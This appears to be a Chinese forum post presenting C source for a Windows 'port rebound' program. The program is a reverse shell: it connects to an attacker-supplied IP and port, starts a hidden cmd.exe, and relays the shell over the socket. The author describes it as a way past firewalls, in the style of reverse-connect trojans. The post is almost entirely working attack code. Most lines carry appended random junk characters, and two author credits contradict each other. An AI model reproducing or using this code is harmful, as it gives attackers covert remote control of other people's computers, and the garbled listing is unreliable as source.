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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '"fZGz?  
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/* ============================== g"Gj8QLDz  
Rebound port in Windows NT zvHeoM ,  
By wind,2006/7 /[#5<;  
===============================*/ D./3,z  
#include 2&d|L|->  
#include +a}>cAj*  
DS6g_SS3  
#pragma comment(lib,"wsock32.lib") Onj)AJ9M0r  
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void OutputShell(); V[baGNe  
SOCKET sClient; =Z}=nS?4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +tvWp>T+  
=X}s^KbI{  
void main(int argc,char **argv) zTS#o#`!\  
{ 6`U]%qx_I  
WSADATA stWsaData; Q<d|OX  
int nRet; -Gmg&yQ9  
SOCKADDR_IN stSaiClient,stSaiServer; { '1e?  
muKCCWy#  
if(argc != 3) !0!r}#P  
{ TwLQ;Q  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7bC)Co#:   
return; { K *  
} XD$;K$_7  
?N(opggiD  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;J&9 l >  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ul%D}(,  
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stSaiClient.sin_family = AF_INET; ;iT ZzmB  
stSaiClient.sin_port = htons(0); 19 <Lgr  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +N:=|u.g  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) LQ3J$N  
{ 1JWo~E'  
printf("Bind Socket Failed!\n"); ^P}c0}^  
return; & 24$*Oe  
}  D/]  
;Br #e1~  
stSaiServer.sin_family = AF_INET; W@FRKDixG  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~Op~~ m  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `g!NFp9q  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Cso-WG,  
{ Yi+$g  
printf("Connect Error!");  V4q v7  
return; &n-)Alx  
} Z]x)d|3;  
OutputShell(); uhO-0H  
} 't <hhjPqY  
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void OutputShell() p~NFiZ,  
{ l~c# X3E  
char szBuff[1024]; U t'r^  
SECURITY_ATTRIBUTES stSecurityAttributes; 0;avWa)Q  
OSVERSIONINFO stOsversionInfo; 8KyF0r?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5;_&C=[  
STARTUPINFO stStartupInfo; {&d )O  
char *szShell; `;\~$^sj}  
PROCESS_INFORMATION stProcessInformation; ]0@ 06G(y  
unsigned long lBytesRead; lz88//@gZ  
fs;pX/:FR  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4NxI:d$&*  
a<d$P*I(cH  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u[~= a 5:4  
stSecurityAttributes.lpSecurityDescriptor = 0; uPQrDr5  
stSecurityAttributes.bInheritHandle = TRUE; 0$\ j  
I4\ c+f9  
Qa-~x8]  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E{W(5.kb;i  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]?A-D,!(  
+L\bg| ;  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); SJXP}JB_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mv#\+|p 1x  
stStartupInfo.wShowWindow = SW_HIDE; tX 3y{W10"  
stStartupInfo.hStdInput = hReadPipe; wS}Rl}#Oh?  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =?s0.(;  
^{R.X:a  
GetVersionEx(&stOsversionInfo); w6FVSU]sY  
c!HmZ]/  
switch(stOsversionInfo.dwPlatformId) _l||69|.  
{ !y syb  
case 1: L qdz qq  
szShell = "command.com"; WuUT>om H  
break; hsZ}FLStJ  
default: qS}pv  
szShell = "cmd.exe"; )3A%Un#B  
break; -VPda @@w  
} Z&j?@k,k  
; 6*Ag#Z  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CyEEE2cV  
TATH,Sz:x  
send(sClient,szMsg,77,0); Bn?MlG;aA  
while(1) AB")aX2% E  
{ SlojB^%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V^5Z9!  
if(lBytesRead) w;(B4^?  
{ R'1L%srTM+  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5KvqZ1L  
send(sClient,szBuff,lBytesRead,0); 2z615?2_U  
} pSh$#]mZ`  
else ti}G/*4  
{ 11jDAA(|  
lBytesRead=recv(sClient,szBuff,1024,0); }&:F,q*  
if(lBytesRead<=0) break; n9N '}z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Y:'#jY*V  
} ygS vYMC  
} h(Ccm44  
@!:_r5R~N  
return; U7@)RJ  
}
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